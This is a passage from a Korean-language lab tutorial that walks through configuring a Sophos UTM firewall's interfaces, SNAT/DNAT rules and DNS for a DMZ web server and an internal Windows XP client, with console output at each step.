       valid_lft forever preferred_lft forever
2: eth0: &lt;BROADCAST,MULTICAST&gt; mtu 1500 qdisc noop state DOWN group default qlen 1000
    link/ether 00:0c:29:7e:8e:60 brd ff:ff:ff:ff:ff:ff
3: eth1: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc pfifo_fast state UNKNOWN group default qlen 1000
    link/ether 00:0c:29:7e:8e:6a brd ff:ff:ff:ff:ff:ff
    inet 192.168.10.253/24 brd 192.168.10.255 scope global eth1
       valid_lft forever preferred_lft forever
4: eth2: &lt;BROADCAST,MULTICAST&gt; mtu 1500 qdisc noop state DOWN group default qlen 1000
    link/ether 00:0c:29:7e:8e:74 brd ff:ff:ff:ff:ff:ff

2. eht0 설정
External interface로 설정한다.
- NIC1 eth0: NAT    200.200.200.200/24 

[Interfaces &amp; Routing] &gt; [Interfaces]

[New interface ...] 를 클릭해서 외부망 연결 인터페이스를 설정한다.

Add Interface
Name: External
Type: Ethernet
Hardware: eth0 Advanced Micro Devices [AMD] 79c970 [PCnet32 LANCE]
Dynamic IP: x
IPv4 address: 200.200.200.200
Netmask: /24 (255.255.255.0)
IPv4 default GW: v (반드시 체크)
Default GW IP: 200.200.200.2
Comment: 외부망 연결 인터페이스

저장 후 인터페이스를 활성화 시킨다.

[Dashboard] &gt; 인터페이스 부분의 eth0 State Link 부분의 Up을 확인한다.
콘솔에서는 ip a or ifconfig 명령어로 확인하면 아래처럼 eth0 부분에 해당 IP주소가 활성화된 것을 확인할 수 있다.
활성화 된 후에는 외부로 ping으로 통신이 되는지 확인한다.

utm9:/root # ip a
1: lo: &lt;LOOPBACK,UP,LOWER_UP&gt; mtu 65536 qdisc noqueue state UNKNOWN group default
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: eth0: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:0c:29:7e:8e:60 brd ff:ff:ff:ff:ff:ff
    inet 200.200.200.200/24 brd 200.200.200.255 scope global eth0
       valid_lft forever preferred_lft forever
3: eth1: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc pfifo_fast state UNKNOWN group default qlen 1000
    link/ether 00:0c:29:7e:8e:6a brd ff:ff:ff:ff:ff:ff
    inet 192.168.10.253/24 brd 192.168.10.255 scope global eth1
       valid_lft forever preferred_lft forever
4: eth2: &lt;BROADCAST,MULTICAST&gt; mtu 1500 qdisc noop state DOWN group default qlen 1000
    link/ether 00:0c:29:7e:8e:74 brd ff:ff:ff:ff:ff:ff

utm9:/root # ping -c 4 8.8.8.8
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=128 time=42.7 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=128 time=43.9 ms
64 bytes from 8.8.8.8: icmp_seq=3 ttl=128 time=46.5 ms
64 bytes from 8.8.8.8: icmp_seq=4 ttl=128 time=44.5 ms

--- 8.8.8.8 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3005ms
rtt min/avg/max/mdev = 42.787/44.464/46.558/1.383 ms

3. DMZ 설정

[Interfaces &amp; Routing] &gt; [Interfaces]

[New interface...] 를 클릭해서 DMZ망 연결 인터페이스를 설정한다.

Add Interface
Name: DMZ
Type: Ethernet
Hardware: eth2 Advanced Micro Devices [AMD] 79c970 [PCnet32 LANCE]
Dynamic IP:    x
IPv4 address: 172.16.10.253
Netmask: /24 (255.255.255.0)
IPv4 default GW: x
Comment: DMZ망 연결 인터페이스

저장 후 인터페이스를 활성화 시킨다.
[Dashboard] &gt; 인터페이스 부분의 eth2 State Link 부분의 Up을 확인한다.
콘솔에서 ip a or ifconfig 명령어로 확인하면 아래처럼 eth1 부분에 해당 IP주소가 활성화된 것을 확인한다.

utm9:/root # ip a
1: lo: &lt;LOOPBACK,UP,LOWER_UP&gt; mtu 65536 qdisc noqueue state UNKNOWN group default
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: eth0: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:0c:29:7e:8e:60 brd ff:ff:ff:ff:ff:ff
    inet 200.200.200.200/24 brd 200.200.200.255 scope global eth0
       valid_lft forever preferred_lft forever
3: eth1: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc pfifo_fast state UNKNOWN group default qlen 1000
    link/ether 00:0c:29:7e:8e:6a brd ff:ff:ff:ff:ff:ff
    inet 192.168.10.253/24 brd 192.168.10.255 scope global eth1
       valid_lft forever preferred_lft forever
4: eth2: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc pfifo_fast state UNKNOWN group default qlen 1000
    link/ether 00:0c:29:7e:8e:74 brd ff:ff:ff:ff:ff:ff
    inet 172.16.10.253/24 brd 172.16.10.255 scope global eth2
       valid_lft forever preferred_lft forever
</code></pre><blockquote>
<p><strong>실습&gt; UTM에 대한 라우팅 테이블 확인하기</strong></p>
</blockquote>
<pre><code>utm9:/root # ip route
127.0.0.0/8 dev lo  scope link 
172.16.10.0/24 dev eth2  proto kernel  scope link  src 172.16.10.253 
192.168.10.0/24 dev eth1  proto kernel  scope link  src 192.168.10.253 
200.200.200.0/24 dev eth0  proto kernel  scope link  src 200.200.200.200</code></pre><blockquote>
<p><strong>실습&gt;  CentOS WEB#1 설치하기</strong></p>
</blockquote>
<pre><code>네트워크 구성도

VMnet1: 192.168.10.0/24
VMnet2: 172.16.10.0/24
VMnet8: 200.200.200.0/24


200.200.200.1   : Host OS
200.200.200.200 : UTM          UTM 보안 솔루션
200.200.200.101 : CentOS 7,    DMZ망 WEB Server#1 IP주소 (DNAT/SNAT o)  &lt;-- 설정
200.200.200.102 : Rocky Linux, DMZ망 WEB Server#2 IP주소 (DNAT/SNAT o)
200.200.200.103 : Rocky Linux, DMZ망 WEB Server#3 IP주소 (DNAT/SNAT o)
200.200.200.104 : CentOS 7,    DMZ망 DB Server IP주소 (DNAT x, SNAT o)
200.200.200.105 :              내부망 윈도우의 SNAT용 IP주소 (DNAT x, SNAT o)  &lt;-- 설정
200.200.200.110 : CentOS 7,    DMZ망 DNS Server (DNAT/SNAT o)
200.200.200.3   : Kali Linux,  Attacker 

                  200.200.200.110  -------------------------------------------------------+ 
                  200.200.200.105                  DNAT                                   |
                  200.200.200.104(DBMS)                                                   |
                  200.200.200.103:80 -------------------------------+                     |
200.200.200.3     200.200.200.102:80 ------------------------+      |                     |
Attacker          200.200.200.101:80 -----------------+      |      |                     |
  |               200.200.200.0/24                    |      |      |                     |
  |             .200  |                               |      |      |                     |
  |     eth0(vmnet8)  |                               |      |      |                     |
외부망 --------------[ SOPHOS UTM ] ------- DMZ       |      |      |                     |
  |      eth1(vmnet1) |       |  eth2(vmnet2)         |80    |80    |80                   |
  |              .253 |      172.16.10.253            |      |      |                     |
  |          &lt;--------+-----------------+             v      v      v                     |
  |                   |   SNAT          |            CentOS Rocky  Rocky                  v
 Host OS              |                 +----------- WEB#1  WEB#2  WEB#3  DBMS(MariaDB)  DNS#1
  |                   | ens38(vmnet2)                .101   .102   .103   .104           .110
200.200.200.1         |                                |      |      |      ^
                    Windows                            |      |      |      |
                     .105                              +------+------+------+
                    eth0(vmnet1)                      웹서버 모두 DBMS 서버를 사용
                 192.168.10.0/24                          ens33 (vmnet2)
                 (관리자)                              172.16.10.0/24 

1. 설정 정보
VMnet명: CentOS WEB#1
VMnet: vmnet2
IP주소: 172.16.10.101
SubnetMask: 24
Default gateway: 172.16.10.253
DNS: 168.126.63.1, 168.126.63.2
[X] Automatically connect

HostName: web1.linuxmaster.net

2. 설치
CentOS 7을 설치한다.

3. 콘솔 설정 
콘솔로 로그인한 후에 NIC 정보를 설정한다.
[root@localhost ~]# nmtui

NIC 정보
ens33: VMnet2 172.16.10.101

프로파일 이름 ens33
이더넷
IPv4 설정       &lt;수동&gt;
주소 172.16.10.101/24
게이트웨이 172.16.10.253
DNS 서버 168.126.63.1
         168.126.63.2

[X] 자동으로 연결 

호스트명: web1.linuxmaster.net

[root@localhost ~]# systemctl restart network

아래 2개의 설정을 콘솔에서 한다.
sshd 설정파일에서 UseDNS 지시어를 no로 설정하고 sshd 서비스를 재시작한다.
[root@localhost ~]# vi /etc/ssh/sshd_config 
UseDNS no
[root@localhost ~]# systemctl restart sshd

/etc/hosts 파일에 Local DNS를 설정한다.
[root@localhost ~]# vi /etc/hosts
127.0.0.1   localhost localhost.localdomain localhost4 localhost4.localdomain4
::1         localhost localhost.localdomain localhost6 localhost6.localdomain6
172.16.10.101 web1.linuxmaster.net web1


4. SSH 접속
ssh로 서버에 로그인한 후 IP주소를 확인한다.
[root@web1 ~]# ip a
1: lo: &lt;LOOPBACK,UP,LOWER_UP&gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: ens33: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:0c:29:21:69:d4 brd ff:ff:ff:ff:ff:ff
    inet 172.16.10.101/24 brd 172.16.10.255 scope global noprefixroute ens33
       valid_lft forever preferred_lft forever
    inet6 fe80::75c2:ace5:ca09:ac46/64 scope link noprefixroute
       valid_lft forever preferred_lft forever

[root@web1 ~]# ip r
default via 172.16.10.253 dev ens33 proto static metric 100
172.16.10.0/24 dev ens33 proto kernel scope link src 172.16.10.101 metric 100

[root@web1 ~]# ping -c 4 172.16.10.253
PING 172.16.10.253 (172.16.10.253) 56(84) bytes of data.
64 bytes from 172.16.10.253: icmp_seq=1 ttl=64 time=0.250 ms
64 bytes from 172.16.10.253: icmp_seq=2 ttl=64 time=0.525 ms
64 bytes from 172.16.10.253: icmp_seq=3 ttl=64 time=0.359 ms
64 bytes from 172.16.10.253: icmp_seq=4 ttl=64 time=1.07 ms

--- 172.16.10.253 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3001ms
rtt min/avg/max/mdev = 0.250/0.552/1.075/0.317 ms
</code></pre><blockquote>
<p><strong>실습&gt; DMZ망의 WEB#1 SNAT 설정하기</strong></p>
</blockquote>
<pre><code>

                                                              DNAT
                                             200.200.200.101   -&gt;   172.16.10.101
200.200.200.1 &lt;-&gt; 200.200.200.101            200.200.200.101   &lt;-   172.16.10.101
[Host OS] -------- [인터넷] ---------------- [UTM] ---------------- [WEB#1]
                   168.126.63.1, 저장소  &lt;-- 200.200.200.101   &lt;- (SNAT)   172.16.10.101 (yum)


1. 호스트명 변경
[root@localhost ~]# hostnamectl set-hostname web1.linuxmaster.net
[root@localhost ~]# vi /etc/hosts
127.0.0.1   localhost localhost.localdomain localhost4 localhost4.localdomain4
::1         localhost localhost.localdomain localhost6 localhost6.localdomain6
172.16.10.101  web1.linuxmaster.net web1

[root@localhost ~]# logout

다시 로그인 한다.
[C:\~]$ ssh root@172.16.10.101
[root@web1 ~]# cat /etc/hostname
web1.linuxmaster.net

2. 통신 확인
web1이 UTM과 통신이 가능하지만 외부망과는 통신이 안된다.
[root@web1 ~]# ping -c 4 172.16.10.253
PING 172.16.10.253 (172.16.10.253) 56(84) bytes of data.
64 bytes from 172.16.10.253: icmp_seq=1 ttl=64 time=0.306 ms
64 bytes from 172.16.10.253: icmp_seq=2 ttl=64 time=0.747 ms
64 bytes from 172.16.10.253: icmp_seq=3 ttl=64 time=0.598 ms
64 bytes from 172.16.10.253: icmp_seq=4 ttl=64 time=0.292 ms

--- 172.16.10.253 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3002ms
rtt min/avg/max/mdev = 0.292/0.485/0.747/0.195 ms


UTM에서 방화벽 기본 정책이 ALL DROP이므로 외부로 나갈 수 없기 때문에 외부로 나가는 정책을 설정해야 한다.
[root@web1 ~]# ping -c 4 8.8.8.8 -W 1
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.

--- 8.8.8.8 ping statistics ---
4 packets transmitted, 0 received, 100% packet loss, time 3001ms

이유는 방화벽의 기본 정책이 DROP으로 설정되어 있기 때문이다.
UTM의 방화벽 기본 정책을 확인한다.
WEB#1 서버가 8.8.8.8과 통신을 하면 실패가 된다.
UTM 장비에서 내부 DMZ 망에 있는 WEB#1 서버가 외부로 인터넷이 될 수 없는 이유는 
- Chain의 기본 정책이 모두 DROP으로 되어있다.
- SNAT가 설정 되지 않았다.
utm9:/root # iptables -nvL | grep policy
Chain INPUT (policy DROP 0 packets, 0 bytes)
Chain FORWARD (policy DROP 0 packets, 0 bytes)
Chain OUTPUT (policy DROP 0 packets, 0 bytes)

3. 공인 IP주소 추가하기
DMZ망 웹서버 WEB#1 서버가 사용할 외부망 IP 주소 (200.200.200.101)을 추가한다.
[Interfaces &amp; Routing]    
[Interfaces] &gt; [Additional Addresses 탭] &gt; [+ New Additional Address...]

Name: DMZ WEB#1
On interface: External
IPv4 address: 200.200.200.101
Netmask: /24 (255.255.255.0)
Comment: DMZ 웹서버#1

저장 후 인터페이스를 활성화 시키고 Reload 버튼을 클릭한다.


쉘에서 eth0 인터페이스에 200.200.200.101을 확인한다.
utm9:/root # ip a
1: lo: &lt;LOOPBACK,UP,LOWER_UP&gt; mtu 65536 qdisc noqueue state UNKNOWN group default
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: eth0: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:0c:29:7e:8e:60 brd ff:ff:ff:ff:ff:ff
    inet 200.200.200.200/24 brd 200.200.200.255 scope global eth0
       valid_lft forever preferred_lft forever
    inet 200.200.200.101/24 scope global secondary eth0
       valid_lft forever preferred_lft forever
3: eth1: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc pfifo_fast state UNKNOWN group default qlen 1000
    link/ether 00:0c:29:7e:8e:6a brd ff:ff:ff:ff:ff:ff
    inet 192.168.10.253/24 brd 192.168.10.255 scope global eth1
       valid_lft forever preferred_lft forever
4: eth2: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc pfifo_fast state UNKNOWN group default qlen 1000
    link/ether 00:0c:29:7e:8e:74 brd ff:ff:ff:ff:ff:ff
    inet 172.16.10.253/24 brd 172.16.10.255 scope global eth2
       valid_lft forever preferred_lft forever

4. SNAT 설정하기
DMZ WEB#1 서버에서 외부로 접속할 수 있도록 길을 열어주는 설정이다.
WEB#1 (172.16.10.101) 서버의 SNAT 설정을 한다.

[Network Protection] &gt; [NAT] &gt; [NAT 탭] &gt; [+ New NAT Rule...]


Add NAT Rule
Group: :: No Group :: 
Position: Bottom
Rule type: SNAT (source)

Matching condition
For traffic from: WEB#1  &lt;-- DMZ WEB#1이 없으니 + 아이콘을 눌러서 아래처럼 등록하면 자동 선택된다. 
    Add Network Definition
    Name: WEB#1
    Type: Host
    IPv4 address: 172.16.10.101
    Comment: DMZ 웹서버#1
Using service: Any
Going to: Any

Action
Change the source to: External [WEB#1] (Address)  &lt;-- Additional Addresses로 등록한 WEB#1을 선택한다. 200.200.200.101
And the service to:      &lt;-- 여기에는 아무것도 오지 않는다.

Automatic firewall rule: 체크 O  &lt;-- 반드시 체크를 한다.
Comment: WEB#1 SNAT 설정


SNAT 설정을 하고 Save를 하지 않았을 경우의 iptables nat 테이블의 설정 룰을 확인하면 DMZ 웹서버의 IP주소가 
등록되지 않은 것을 확인할 수 있다.
utm9:/root # iptables -t nat -nL | grep 172.16.10.101
  &lt;-- 등록된 룰이 없다.

룰을 저장하기 위해서 Save 버튼을 누른다.

Save하고 나서 utm에서 iptables 의 nat 룰을 확인한다.
SNAT 설정을 하고 Save를 했을 경우의 iptables nat 테이블의 설정 룰을 확인하면 DMZ 웹서버의 IP주소가 등록된 것을 확인할 수 있다.

utm9:/root # iptables -t nat -nL | grep 172.16.10.101
SNAT       all  --  172.16.10.101        0.0.0.0/0            policy match dir out pol none to:200.200.200.101

DMZ WEB#1 서버가 8.8.8.8로 ping 테스트를 하면 외부와 통신이 되는 것을 확인할 수 있다.
[root@web1 ~]# ping 8.8.8.8 -c 4
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=127 time=41.5 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=127 time=41.9 ms
64 bytes from 8.8.8.8: icmp_seq=3 ttl=127 time=41.2 ms
64 bytes from 8.8.8.8: icmp_seq=4 ttl=127 time=41.9 ms

--- 8.8.8.8 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3005ms
rtt min/avg/max/mdev = 41.210/41.641/41.937/0.303 ms

5. 웹서버 설정
아파치 웹서버를 설치한다.
[root@web1 ~]# yum -y install httpd
[root@web1 ~]# systemctl enable --now httpd
[root@web1 ~]# ss -nltp

호스트 방화벽은 모두 중지한다.
중지하는 이유는 네트워크 방화벽이 존재하기 때문에 호스트 방화벽은 모두 내려준다.
[root@web1 ~]# systemctl stop firewalld
[root@web1 ~]# systemctl disable firewalld

간단한 index.html 페이지를 생성한다.
[root@web1 ~]# echo Welcome to 172.16.10.101. &gt; /var/www/html/index.html

6.  DNAT 설정하기
외부에서 DMZ WEB#1 서버로 접속할 수 있도록 길을 열어주는 설정이다.

[Network Protection] &gt; [NAT] &gt; [NAT 탭] &gt; [+ New NAT Rule...]

Add NAT Rule
Group: :: No group ::
Position: Top   &lt;-- SNAT 보다 DNAT 가 트래픽이 많기 때문에 Top으로 설정한다.
Rule type: DNAT (destination)

Matching condition
For traffic from: Any  &lt;-- 아무곳에서 들어올 수 있다. (공개형 웹서버이기 때문이다.)
Using service: HTTP    &lt;-- 80번
Going to: External [WEB#1] (Address)  &lt;-- 200.200.200.101

Action
Change the destination to: WEB#1  &lt;-- 172.16.10.101
And the service to: HTTP          &lt;-- 80번

Automatic firewall rule: 체크  &lt;-- 반드시 체크해야 한다.
Comment: WEB#1 DNAT 설정

DNAT 설정을 하고 Save를 하지 않았을 경우의 iptables nat 테이블의 설정 룰을 확인하면
내부망 웹서버의 IP주소의 SNAT만 설정되어 있고 DNAT가 등록되지 않은 것을 확인할 수 있다.
utm9:/root # iptables -t nat -nL | grep 172.16.10.101
SNAT       all  --  172.16.10.101        0.0.0.0/0            policy match dir out pol none to:200.200.200.101

Save하고 나서 콘솔에서 iptables 의 nat 룰을 확인한다.
DNAT 설정을 하고 Save를 하고 룰을 활성화할 경우의 iptables nat 테이블의 설정 룰을 확인하면
내부망 웹서버의 IP주소의 DNAT가 등록되지 않은 것을 확인할 수 있다.

|L2:MAC...|L3 S:200.200.200.200.1, D:200.200.200.101|L7: 80|
                                       | 
                                       |  DNAT에 의해서 200.200.200.101 -&gt; 172.16.10.101로 교체한다.
                                       v
|L2:MAC...|L3 S:200.200.200.200.1, D:172.16.10.101|L7: 80|

utm9:/root # iptables -t nat -nL | grep --color -B 3 172.16.10.101

Chain USR_OUTPUT (1 references)
target     prot opt source               destination         
DNAT       tcp  --  0.0.0.0/0            200.200.200.101      tcp spts:1:65535 dpt:80 to:172.16.10.101:80

Chain USR_POST (1 references)
target     prot opt source               destination         
SNAT       all  --  172.16.10.101        0.0.0.0/0            policy match dir out pol none to:200.200.200.101
--

Chain USR_PRE (1 references)
target     prot opt source               destination         
DNAT       tcp  --  0.0.0.0/0            200.200.200.101      tcp spts:1:65535 dpt:80 to:172.16.10.101:80

7. 웹서버 접속
브라우저에서 공인IP주소로 접속하면 내부 DMZ WEB#1로 돌려준다.

http://200.200.200.101/

Welcome to 172.16.10.101.
</code></pre><blockquote>
<p><strong>실습&gt; Windows XP 설정</strong></p>
</blockquote>
<pre><code>네트워크 구성도

VMnet1: 192.168.10.0/24
VMnet2: 172.16.10.0/24
VMnet8: 200.200.200.0/24


200.200.200.1   : Host OS
200.200.200.200 : UTM          UTM 보안 솔루션
200.200.200.101 : CentOS 7,    DMZ망 WEB Server#1 IP주소 (DNAT/SNAT o)  &lt;-- 설정
200.200.200.102 : Rocky Linux, DMZ망 WEB Server#2 IP주소 (DNAT/SNAT o)
200.200.200.103 : Rocky Linux, DMZ망 WEB Server#3 IP주소 (DNAT/SNAT o)
200.200.200.104 : CentOS 7,    DMZ망 DB Server IP주소 (DNAT x, SNAT o)
200.200.200.105 :              내부망 윈도우의 SNAT용 IP주소 (DNAT x, SNAT o)  &lt;-- 설정
200.200.200.110 : CentOS 7,    DMZ망 DNS Server (DNAT/SNAT o)
200.200.200.3   : Kali Linux,  Attacker 

                  200.200.200.110  -------------------------------------------------------+ 
                  200.200.200.105                  DNAT                                   |
                  200.200.200.104(DBMS)                                                   |
                  200.200.200.103:80 -------------------------------+                     |
200.200.200.3     200.200.200.102:80 ------------------------+      |                     |
Attacker          200.200.200.101:80 -----------------+      |      |                     |
  |               200.200.200.0/24                    |      |      |                     |
  |             .200  |                               |      |      |                     |
  |     eth0(vmnet8)  |                               |      |      |                     |
외부망 --------------[ SOPHOS UTM ] ------- DMZ       |      |      |                     |
  |      eth1(vmnet1) |       |  eth2(vmnet2)         |80    |80    |80                   |
  |              .253 |      172.16.10.253            |      |      |                     |
  |          &lt;--------+-----------------+             v      v      v                     |
  |                   |   SNAT          |            CentOS Rocky  Rocky                  v
 Host OS              |                 +----------- WEB#1  WEB#2  WEB#3  DBMS(MariaDB)  DNS#1
  |                   | ens38(vmnet2)                .101   .102   .103   .104           .110
200.200.200.1         |                                |      |      |      ^
                    Windows                            |      |      |      |
                     .105                              +------+------+------+
                    eth0(vmnet1)                      웹서버 모두 DBMS 서버를 사용
                 192.168.10.0/24                          ens33 (vmnet2)
                 (관리자)                              172.16.10.0/24 


Windwos XP가 8.8.8.8로 ping 통신을 할 수 있게 설정하시오.
192.168.10.105 -&gt; 200.200.200.105


1. WinXP 설정
Internal WinxP를 아래와 같이 설정한다.
VMnet: VMnet1
IP주소: 192.168.10.105
서브넷마스크: 255.255.255.0
게이트웨이: 192.168.10.253
DNS: 168.126.63.1, 168.126.63.2

2. 공인 IP주소 추가하기
Internal망 윈도우XP가 사용할 외부망 IP 주소 (200.200.200.105)을 추가한다.
[Interfaces &amp; Routing]    
[Interfaces] &gt; [Additional Addresses 탭] &gt; [+ New Additional Address...]

Name: Internal WinXP
On interface: External
IPv4 address: 200.200.200.105
Netmask: /24 (255.255.255.0)
Comment: Internal WinXP

저장 후 인터페이스를 활성화 시키고 Reload 버튼을 클릭한다.

3. IP주소 확인
쉘에서 eth0 인터페이스에 200.200.200.105를 확인한다.
utm9:/root # ip a
1: lo: &lt;LOOPBACK,UP,LOWER_UP&gt; mtu 65536 qdisc noqueue state UNKNOWN group default
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: eth0: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:0c:29:7e:8e:60 brd ff:ff:ff:ff:ff:ff
    inet 200.200.200.200/24 brd 200.200.200.255 scope global eth0
       valid_lft forever preferred_lft forever
    inet 200.200.200.101/24 scope global secondary eth0
       valid_lft forever preferred_lft forever
    inet 200.200.200.105/24 scope global secondary eth0
       valid_lft forever preferred_lft forever
3: eth1: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc pfifo_fast state UNKNOWN group default qlen 1000
    link/ether 00:0c:29:7e:8e:6a brd ff:ff:ff:ff:ff:ff
    inet 192.168.10.253/24 brd 192.168.10.255 scope global eth1
       valid_lft forever preferred_lft forever
4: eth2: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc pfifo_fast state UNKNOWN group default qlen 1000
    link/ether 00:0c:29:7e:8e:74 brd ff:ff:ff:ff:ff:ff
    inet 172.16.10.253/24 brd 172.16.10.255 scope global eth2
       valid_lft forever preferred_lft forever

4. SNAT 설정하기
Internal WinXP에서 외부로 접속할 수 있도록 길을 열어주는 설정이다.
WinXP (192.168.10.105)의 SNAT 설정을 한다.

[Network Protection] &gt; [NAT] &gt; [NAT 탭] &gt; [+ New NAT Rule...]


Add NAT Rule
Group: :: No Group :: 
Position: Bottom
Rule type: SNAT (source)

Matching condition
For traffic from: WinXP  &lt;-- WinXP가 없으니 + 아이콘을 눌러서 아래처럼 등록하면 자동 선택된다. 
    Add Network Definition
    Name: WinXP
    Type: Host
    IPv4 address: 192.168.10.105
    Comment: Internal WinxP
Using service: Any
Going to: Any

Action
Change the source to: External [Internal WinXP] (Address)  &lt;-- Additional Addresses로 등록한 Internal WinXP를 선택한다. 200.200.200.105
And the service to:      &lt;-- 여기에는 아무것도 오지 않는다.

Automatic firewall rule: 체크 O
Comment: WinXP SNAT 설정

5. 통신 확인
WinXP에서 IP주소를 확인하고 통신이 되는지 확인한다.
C:\&gt;ipconfig

Windows IP Configuration


Ethernet adapter 로컬 영역 연결:

        Connection-specific DNS Suffix  . :
        IP Address. . . . . . . . . . . . : 192.168.10.105
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . . . . : 192.168.10.253

C:\&gt;ping 192.168.10.253

Pinging 192.168.10.253 with 32 bytes of data:

Reply from 192.168.10.253: bytes=32 time&lt;1ms TTL=64
Reply from 192.168.10.253: bytes=32 time&lt;1ms TTL=64
Reply from 192.168.10.253: bytes=32 time&lt;1ms TTL=64
Reply from 192.168.10.253: bytes=32 time&lt;1ms TTL=64

Ping statistics for 192.168.10.253:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 0ms, Maximum = 0ms, Average = 0ms

C:\&gt;ping 8.8.8.8

Pinging 8.8.8.8 with 32 bytes of data:

Reply from 8.8.8.8: bytes=32 time=51ms TTL=127
Reply from 8.8.8.8: bytes=32 time=48ms TTL=127
Reply from 8.8.8.8: bytes=32 time=48ms TTL=127
Reply from 8.8.8.8: bytes=32 time=49ms TTL=127

Ping statistics for 8.8.8.8:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 48ms, Maximum = 51ms, Average = 49ms
</code></pre><blockquote>
<p><strong>실습&gt; DNS 서버 설정</strong></p>
</blockquote>
<pre><code>1. DNS 서버 등록
DNS서버의 허용할 네트워크나 호스트를 추가한다.

[Network Services] &gt; [DNS] &gt; [Global 탭]

Allowed Networks
- Internal (Network)  &lt;-- 기본 설정값
- DMZ (Network)       &lt;-- WEB#1 로 설정해도 상관없다.

설정 후 Apply 버튼을 클릭한다.

2. DNS 변경
내부망의 호스트와 DMZ의 WEB#1의 DNS서버를 아래처럼 변경한다
Win7 or WinXP: 192.168.10.253
WEB#1: 172.16.10.253

3. 확인
WinXP에서 DNS를 변경하지 않았을 경우 nslookup으로 확인한다.
C:\&gt;nslookup
Default Server:  kns.kornet.net
Address:  168.126.63.1  &lt;-- KT DNS 설정

Non-authoritative answer:
Name:    naver.com
Addresses:  223.130.200.104, 223.130.200.107, 223.130.195.95, 223.130.195.200

WindowsXP에서 DNS를 변경한다.
ncpa.cpl에서 네트워크 연결에서 로컬 영역 연결에서 DNS 주소를 변경한다.
다음 IP 주소 사용 체크
IP 주소: 192.168.10.105
서브넷 마스크: 255.255.255.0
기본 게이트웨이: 192.168.10.253

다음 DNS 서버 주소 사용
기본 설정 DNS 서버: 192.168.10.253
보조 DNS 서버: X


C:\&gt;nslookup
*** Can&#39;t find server name for address 192.168.10.253: Non-existent domain
*** Default servers are not available
Default Server:  UnKnown
Address:  192.168.10.253

&gt; naver.com
Server:  UnKnown
Address:  192.168.10.253

Non-authoritative answer:
Name:    naver.com
Addresses:  223.130.200.107, 223.130.195.95, 223.130.200.104, 223.130.195.200

&gt; daum.net
Server:  UnKnown
Address:  192.168.10.253

Non-authoritative answer:
Name:    daum.net
Addresses:  121.53.105.193, 211.249.220.24


WEB#1에서 확인한다.
dig을 사용하기 위해서 bind-utils 패키지를 설치한다.
패키지가 설치되는 조건
- 방화벽에서 외부로 통신이 되어야 한다. (SNAT를 설정했으므로 가능)
- DNS 서버에서 도메인주소를 얻어와야 한다. (UTM이 DNS서버이고, DNS 서버를 설정했으므로 가능)
- 패키지를 다운로드 받기 위해서 웹서버로 접속해서 다운로드 받아야 한다. (SNAT를 설정했으므로 가능)
bind-utils: nslookup, dig, host 명령어가 포함된 패키지
[root@web1 ~]# yum -y install bind-utils

WEB1에서 DNS를 변경하지 않았을 경우 nslookup으로 확인한다.
[root@web1 ~]# cat /etc/resolv.conf 
# Generated by NetworkManager
search linuxmaster.net
nameserver 168.126.63.1  &lt;-- KT DNS 설정
nameserver 168.126.63.2  &lt;-- KT DNS 설정
[root@web1 ~]# dig naver.com +short
223.130.200.107
223.130.195.200
223.130.195.95
223.130.200.104

WEB#1에서 nmtui를 실행해서 DNS 주소를 변경한다
[root@web1 ~]# nmtui

주소: 172.16.10.101/24
